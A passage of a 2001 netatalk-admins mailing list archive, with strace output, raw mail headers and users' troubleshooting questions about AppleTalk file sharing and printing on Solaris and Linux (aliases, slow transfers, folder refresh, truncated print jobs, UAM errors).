710:    putmsg(3, 0x08046234, 0x08046228, 0)            = 0
710:    open("/var/run/syslog_door", O_RDONLY)          = 5
710:    door_info(5, 0x080461C4)                        = 0
710:    getpid()                                        = 710 [709]
710:    door_call(5, 0x080461AC)                        = 0
710:    close(5)                                        = 0
710:    llseek(0, 0, SEEK_CUR)                          = 182142
710:    llseek(0, 0, SEEK_CUR)                          = 182142
710:    _exit(1)
709:    times(0x0804710C)                               = 644287
709:    waitid(P_ALL, 0, 0x0804711C, WEXITED|WTRAPPED|WSTOPPED) = 0
709:    write(2, " A p p l e T a l k   n o".., 17)      = 17


It would appear that it's failing with an invalid request for iprb,
my intel ehternet board, to push the ddp stream stack (or some such
gobbledygook).

Here's what's on the messages file:
May 18 14:18:08 t2 ddp: [ID 408061 kern.notice] dlpi_rput DL_ERROR_ACK 0x8
May 18 14:18:08 t2 atalkd[710]: [ID 546702 daemon.error] IF_UNITSEL: Invalid argument

from looking at the code, it looks like the rput routine in the dlpi module
is getting an unexpected or invalid ack.  I dont know if the two problems
are related.

Any help would be appreciated!

Thanks,
	Greg Maples

From netatalk.administrators-errors@umich.edu  Mon May 21 15:01:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA10129
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 15:01:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24309
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 15:01:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24274
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 15:01:36 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24212
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 15:01:34 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f4LJ1bP27158;
	Mon, 21 May 2001 15:01:37 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B096611.A081059E@univrel.pr.uconn.edu>
Date: Mon, 21 May 2001 15:01:37 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: greg@netconnect.net
CC: netatalk-admins@umich.edu
Subject: Re: REPOST: Problems running on Solaris 8 Intel
References: <3B095796.BE54265@netconnect.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greg wrote:
> Repost of the below, no replies received.... anyone out there?

Sorry about that. Probably buried in the Inbox.

> Trying to run 1.4b2+asun2.1.4 on Solaris 8 10/00 for the X86.
> Seemed to build okay, made a -DPASSWD change, and used TCPWRAPPERS
> but no crypt or kerb.

Try using the sourceforge version (1.5pre6) available at
http://netatalk.sf.net/ . It has a lot of bugfixes that may help solve
that problem.

Jeff

From netatalk.administrators-errors@umich.edu  Tue May 22 02:44:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA14846
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 22 May 2001 02:44:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA02006
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 22 May 2001 02:44:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA01996
	for netatalk.administrators-members@umich.edu; Tue, 22 May 2001 02:44:22 -0400 (EDT)
Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA01962
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 02:44:21 -0400 (EDT)
Received: from fwd05.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 1525uP-000075-01; Tue, 22 May 2001 08:44:45 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.93.176]) by fmrl05.sul.t-online.com
	with esmtp id 1525uM-22GTLOC; Tue, 22 May 2001 08:44:42 +0200
Mime-Version: 1.0
Message-Id: <a05100303b72fb81af1bd@[192.168.0.33]>
In-Reply-To: <200105181330.AA1196032348@graphpoint.com>
References: <200105181330.AA1196032348@graphpoint.com>
Date: Tue, 22 May 2001 08:35:07 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: Aliases:  Are alternate filesystems worth trying?
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA14846

Hi,

netatalk 1.4-pre39 and Mac OS >8.1 are working fine with the aliases 
(on Suse 6.3) All aliases are working since 6 month. The only problem 
is, that programs like PageMaker or Freehand are missing the links to 
imported pictures. I have to tell them where the pictures are after 
every new login.
Whats that? Aliases are working fine - links from programs do not?
Whats in -pre39 that makes aliases working?

From netatalk.administrators-errors@umich.edu  Tue May 22 03:46:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA16536
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 22 May 2001 03:46:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA05775
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 22 May 2001 03:46:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA05773
	for netatalk.administrators-members@umich.edu; Tue, 22 May 2001 03:46:09 -0400 (EDT)
Received: from smtp.mbit.nl (tea-earl-grey-hot.mbit.nl [62.216.31.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA05749
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 03:46:07 -0400 (EDT)
Received: from proforma.mbit.nl ([195.64.95.35] helo=pro.nl)
	by smtp.mbit.nl with esmtp (Exim 3.13 #1 (Debian))
	id 1526rm-0005Ao-00
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 09:46:06 +0200
Message-ID: <3B0A35DF.3040802@pro.nl>
Date: Tue, 22 May 2001 11:48:15 +0200
From: "Jiri D. Hoogeveen" <jiri@pro.nl>
Organization: Proforma
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-22 i686; en-US; Preview) Gecko/20001101 Beonex/0.6-pre
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Appletalk is slow.
References: <1etr8ra.e0ulnwfzws1oM@cx448422-b.wwck1.ri.home.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Oke,

server -> client
100MB takes about 4 min.
client -> server
100MB takes about 2 min.

h/w
cpu=AMD Athlon 1GHz
mem=256MB
O.S.=RedHat 7.0
NIC 1=3com 3c905b
NIC 2=3com 3c905b (not in use)


Lee Blevins wrote:

>> Hello, I have a problem.
>> I use netatalk-1.5pre6 on RH7.0 with a 3com 3c905b NIC.
>> 
>> Now is the problem, that the appleshare is very slow.
>> Whate can I do?
>> 
>> Grtz, Jiri
> 
> 
> A lot of information has to be known to answer this question.
> 
> Perhaps you could give sime time examples.
> 
> Like copy a 40 meg file and tell us how long it takes to transfer to the
> server.
> 
> Plus info in the h/w, network, nics and stuff.
> 
> 
> 



From netatalk.administrators-errors@umich.edu  Tue May 22 09:21:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27454
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 22 May 2001 09:21:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06103
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 22 May 2001 09:21:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06088
	for netatalk.administrators-members@umich.edu; Tue, 22 May 2001 09:21:00 -0400 (EDT)
Received: from jason04.u.washington.edu (jason04.u.washington.edu [140.142.8.53])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA06069
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 09:20:59 -0400 (EDT)
Received: from homer08.u.washington.edu (cent@homer08.u.washington.edu [140.142.15.42])
	by jason04.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MDKwr56488
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 06:20:58 -0700
Received: from localhost (cent@localhost)
	by homer08.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4MDKvm168336
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 06:20:57 -0700
Date: Tue, 22 May 2001 06:20:57 -0700 (PDT)
From: R Cent <cent@u.washington.edu>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Recommended netatalk RPM
In-Reply-To: <a05100303b72fb81af1bd@[192.168.0.33]>
Message-ID: <Pine.A41.4.33.0105220612160.71302-100000@homer08.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I am a bit overwhelmed with the many available versions of
Netatalk.  What is the recommended version of Netatalk,
distributed in RPM format, that has the alias problem solved?

I'll be using this on a pentium loaded with Mandrake v8.

Thanks!

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Tue May 22 13:38:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07642
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 22 May 2001 13:38:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA03794
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 22 May 2001 13:37:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA03775
	for netatalk.administrators-members@umich.edu; Tue, 22 May 2001 13:37:56 -0400 (EDT)
Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA03711
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 13:37:54 -0400 (EDT)
Received: (qmail 4495 invoked from network); 22 May 2001 17:38:00 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by smtp-1.dial.pipex.com with SMTP; 22 May 2001 17:38:00 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id C7A431A002
	for <netatalk-admins@umich.edu>; Tue, 22 May 2001 18:33:55 +0100 (BST)
Date: Tue, 22 May 2001 18:37:54 +0000
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Server folder view refresh rate
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010522183802-r01010600-2d910420@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

We are running a set of tests comparing netatalk 1.5pre6 (Debian) and
Helios Ethershare. I'm keen that the office uses netatalk if it can be
made to work.

We had the latest debs recompiled for us by an expert from VALinux (we
paid for his time). Let me know if anyone is interested in these - we
had uam errors with Sebastian's debs (we are running a debian stable
tree). Thanks for everyone's help getting netatalk up and running.

1) It appears that aliases of folders on the servers copied to a desktop
DO open the correct folder on the server even after unmounting the
server. Is this correct? I expected a problem from reports in this
forum.

2) In comparison to Ethershare, which updates the contents of a folder
window soon after someone updating the contents of the folder, we have
found that we have to close and reopen the window for the contents to
update. The failure of netatalk to refresh the contents of the window is
a real problem for us. Is there any way around it?

Thanks for any comments and suggestions.

Rory

From netatalk.administrators-errors@umich.edu  Wed May 23 06:21:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA02130
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 May 2001 06:21:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA28390
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 May 2001 06:21:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA28378
	for netatalk.administrators-members@umich.edu; Wed, 23 May 2001 06:21:32 -0400 (EDT)
Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id GAA28354
	for <netatalk-admins@umich.edu>; Wed, 23 May 2001 06:21:31 -0400 (EDT)
Received: (qmail 5728 invoked from network); 23 May 2001 10:21:39 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by smtp-1.dial.pipex.com with SMTP; 23 May 2001 10:21:39 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id A5D041A003
	for <netatalk-admins@umich.edu>; Wed, 23 May 2001 11:17:24 +0100 (BST)
Date: Wed, 23 May 2001 11:20:54 +0000
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Refresh folder view (urgent!)
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010523112134-r01010600-f9f5294f@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

Hi. Sorry to bother everyone - I urgently require an answer to the
following question:

Can a view of a netatalk-driver server folder's contents be set to
refresh more quickly than at present? At the moment I have to open and
close the folder on my mac to see changes made to the contents of the
folder by others on the network.

We are using 1.5pre6.

Regards
Rory

From netatalk.administrators-errors@umich.edu  Wed May 23 07:59:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04558
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 23 May 2001 07:59:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA25021
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 23 May 2001 07:59:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA25015
	for netatalk.administrators-members@umich.edu; Wed, 23 May 2001 07:59:13 -0400 (EDT)
Received: from kanarie.xilay.cxm ([212.204.167.144])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24994
	for <netatalk-admins@umich.edu>; Wed, 23 May 2001 07:59:11 -0400 (EDT)
Received: (from lp@localhost)
	by kanarie.xilay.cxm (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) id f4NBxIh22240
	for netatalk-admins@umich.edu; Wed, 23 May 2001 13:59:18 +0200
X-Authentication-Warning: kanarie.xilay.cxm: lp set sender to vgb@enschede.dhs.org using -f
To: Netatalk Admins <netatalk-admins@umich.edu>
Subject: can't get initial pagecount
Message-ID: <990619158.3b0ba61633366@enschede>
Date: Wed, 23 May 2001 13:59:18 +0200 (CEST)
From: Vincent <vgb@enschede.dhs.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 213.51.84.34

I am using SuSE 7.0 with netatalk-1.4b2+asun2.1.3-152
and have the following problem.

When I try to print to an Appletalk printer I get the 
message that the job is being removed due to errors. My 
messages say that ofpap has problems:

Unknown...
Unknown...
Can't get initial pagecount

Job removed

psf has been chmod 104755
.paprc has printernaam found by nbpklup
in printcap full dir has been used to ifpap/ofpap

The printer is an Helios Ethershare rip (Brisque) that 
anounces the printer as brisque-afwijk:LaserWriter, an 
Apple can print to it.

I don't know what to change, help please!

Vincent

From netatalk.administrators-errors@umich.edu  Thu May 24 14:53:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08814
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 May 2001 14:53:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28938
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 May 2001 14:53:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28911
	for netatalk.administrators-members@umich.edu; Thu, 24 May 2001 14:53:37 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA28866
	for <netatalk-admins@umich.edu>; Thu, 24 May 2001 14:53:36 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 24 May 2001 11:53:23 -0700
Message-Id: <sb0cf633.058@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 24 May 2001 11:52:55 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Changing Passwords
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA08814

I'm currently running netatalk-1.4b2+asun2.1.3-8 on Yellow Dog Linux 1.2 (it's the version that comes bundled with YDL).

Currently users are unable to change their passwords.  The "Set Password" button is greyed out completely.  I can't find anything anywhere that would allow/disable this in the config files, so I'm wondering what I'm missing.  Anyone have any ideas?

Thanks in advance,

Bryn

From netatalk.administrators-errors@umich.edu  Thu May 24 15:52:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA10687
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 May 2001 15:52:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA11411
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 May 2001 15:52:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA11393
	for netatalk.administrators-members@umich.edu; Thu, 24 May 2001 15:52:22 -0400 (EDT)
Received: from gate.idc.cz (f97.dkm.cz [62.24.70.97])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA11340
	for <netatalk-admins@umich.edu>; Thu, 24 May 2001 15:52:20 -0400 (EDT)
Received: from idc.cz (IDENT:cdave@[10.0.0.2])
	by gate.idc.cz (8.9.3/8.9.3) with ESMTP id VAA66817
	for <netatalk-admins@umich.edu>; Thu, 24 May 2001 21:47:19 +0200 (CEST)
	(envelope-from pasek@idc.cz)
Sender: cdave@gate.idc.cz
Message-ID: <3B0D65B2.D6059A11@idc.cz>
Date: Thu, 24 May 2001 21:49:06 +0200
From: David Pasek <pasek@idc.cz>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: PAPD - problem with large print jobs
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,
I'm not sleeping one week because of problem with netatalk package.
I installed netatalk package 1.4b2 and all is working prety fine but
withou printing.

Printing was generaly working but if i try print large file (more than
30MB postscript) it's taking a lot of time and do nothing.

I looked at maillist archive and seen some problems with jobs larger
than 256MB files.
So i maked upgrade to version 1.5.pre-6

Now it looks better, print on Mac is finished but postscript file is
truncated from original size to some another size. Postscript is
uncomplete and network printer cannot print it.
No message in /var/log/messages all looks good accept truncated print
job :-(((
I puted hack to /etc/atalkd/papd.conf
pr:|cat > /var/tmp
for writing incoming print output to file instead sending it directly to
lpd, so I can check what is comming from Mac client.

BTW: print of "small files" up to 20-30MB is working fine.

I'm using Linux RedHat 7.0
Computer is very powerfull DELL 2400

Disk is (RAID5) splited to volumes
/tmp		70MB
/usr		3GB
/var		90GB

Any idea?
Thanks in advance.
--
David Pasek
Email: pasek@idc.cz WWW: http://www.idc.cz ICQ: 76039994
Phone: +420 (0)2 66794545 Mobile: +420 (0)603 207211
Address: IDC - SoftwareHouse, Argentinska 38, Prague 7, Czech Republic

From netatalk.administrators-errors@umich.edu  Fri May 25 17:40:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA22975
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 25 May 2001 17:40:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA27036
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 25 May 2001 17:40:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA27019
	for netatalk.administrators-members@umich.edu; Fri, 25 May 2001 17:40:28 -0400 (EDT)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA26986
	for <netatalk-admins@umich.edu>; Fri, 25 May 2001 17:40:27 -0400 (EDT)
Received: (from httpd@localhost)
	by gromit.daemonize.com (8.11.3/8.11.3) id f4PLeYq28300
	for netatalk-admins@umich.edu; Fri, 25 May 2001 14:40:34 -0700
X-Authentication-Warning: gromit.daemonize.com: httpd set sender to krohn@well.com using -f
To: netatalk-admins@umich.edu
Subject: solaris 8 + netatalk 1.5pre6 + gcc
Message-ID: <990826833.3b0ed1515eba9@webmail.daemonize.com>
Date: Fri, 25 May 2001 14:40:33 -0700 (PDT)
From: Paul Krohn <krohn@well.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.4

Has anyone had any luck with this combination? here's what i did:

./configure  --with-shadow --disable-ddp
gmake 
gmake install

here's my afpd.conf:
- -noddp -uamlist uams_dhx.so,uams_guest.so

in /usr/local/etc/uams, i have: 
lrwxrwxrwx   1 root     other         18 Apr 19 10:21 uams_dhx.so -> 
uams_dhx_passwd.so
-rwxr-xr-x   1 root     other     222636 Apr 19 09:32 uams_dhx_passwd.so
lrwxrwxrwx   1 root     other         18 May  8 11:15 uams_passwd.so -> uams_dhx


afpd starts without complaint. When I try to connect from my Mac, I get a message 
about 'The UAM required by this server couldn't be found in the System Folder 
...'.

When I start afpd with -d, nothing is printed to stdout; no messaged are logged 
to /var/log/syslog or /var/adm/messages, whether started with -d or not.

Thanks, of course, in advance.

--
'If all you have is a hammer, everything looks like a nail'

From netatalk.administrators-errors@umich.edu  Sat May 26 12:45:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA19909
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 26 May 2001 12:45:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 26 May 2001 12:45:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29113
	for netatalk.administrators-members@umich.edu; Sat, 26 May 2001 12:45:07 -0400 (EDT)
Received: from vgkfgen3.rug.ac.be (vgkfgen3.rug.ac.be [157.193.129.75])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29076
	for <netatalk-admins@umich.edu>; Sat, 26 May 2001 12:45:05 -0400 (EDT)
Received: from localhost (sms@localhost)
	by vgkfgen3.rug.ac.be (8.9.3/8.9.3) with ESMTP id TAA02554
	for <netatalk-admins@umich.edu>; Sat, 26 May 2001 19:10:13 +0200
Date: Sat, 26 May 2001 19:10:12 +0200 (CEST)
From: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>
cc: netatalk-admins@umich.edu
Subject: From CAP to netatalk
In-Reply-To: <3B0D65B2.D6059A11@idc.cz>
Message-ID: <Pine.LNX.4.21.0105261906520.2539-100000@vgkfgen3.rug.ac.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hey,

I am running netatalk on my linux (RH 6.2), with no problems so far (only
used it for a few hours yet). 

However, I am also using hx, a linux Hotline clone, which downloads
macintosh files in the CAP format instead of netatalk. Is there any way to
'translate' CAP files to netatalk ones (I mean, the structure of the
resource forks) ? Or a utility to zip or stuff CAP files, so I can move
them to my Mac ?

Thanks in advance,

Thomas


From netatalk.administrators-errors@umich.edu  Sun May 27 07:03:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA15734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 May 2001 07:03:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA05930
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 May 2001 07:03:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA05916
	for netatalk.administrators-members@umich.edu; Sun, 27 May 2001 07:03:35 -0400 (EDT)
Received: from mailg.telia.com (mailg.telia.com [194.22.194.26])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA05891
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 07:03:33 -0400 (EDT)
Received: from d1o87.telia.com (d1o87.telia.com [213.65.232.241])
	by mailg.telia.com (8.11.2/8.11.0) with ESMTP id f4RB3Wj07680
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 13:03:32 +0200 (CEST)
Received: from ludd.luth.se (h79n1fls32o87.telia.com [213.65.233.79])
	by d1o87.telia.com (8.10.2/8.10.1) with ESMTP id f4RB3Ud00838
	for <netatalk-admins@umich.edu>; Sun, 27 May 2001 13:03:31 +0200 (CEST)
Message-ID: <3B10DEEC.541B95C2@ludd.luth.se>
Date: Sun, 27 May 2001 13:03:14 +0200
From: Patrik Emilsson <poem@ludd.luth.se>
Reply-To: poem@ludd.luth.se
X-Mailer: Mozilla 4.77 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: codepage support in Netatalk-1.5
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

I'm new to this group and don't know if this topic has been discussed
before.
Does anybody know if the codepage option works in AppleVolumes.default
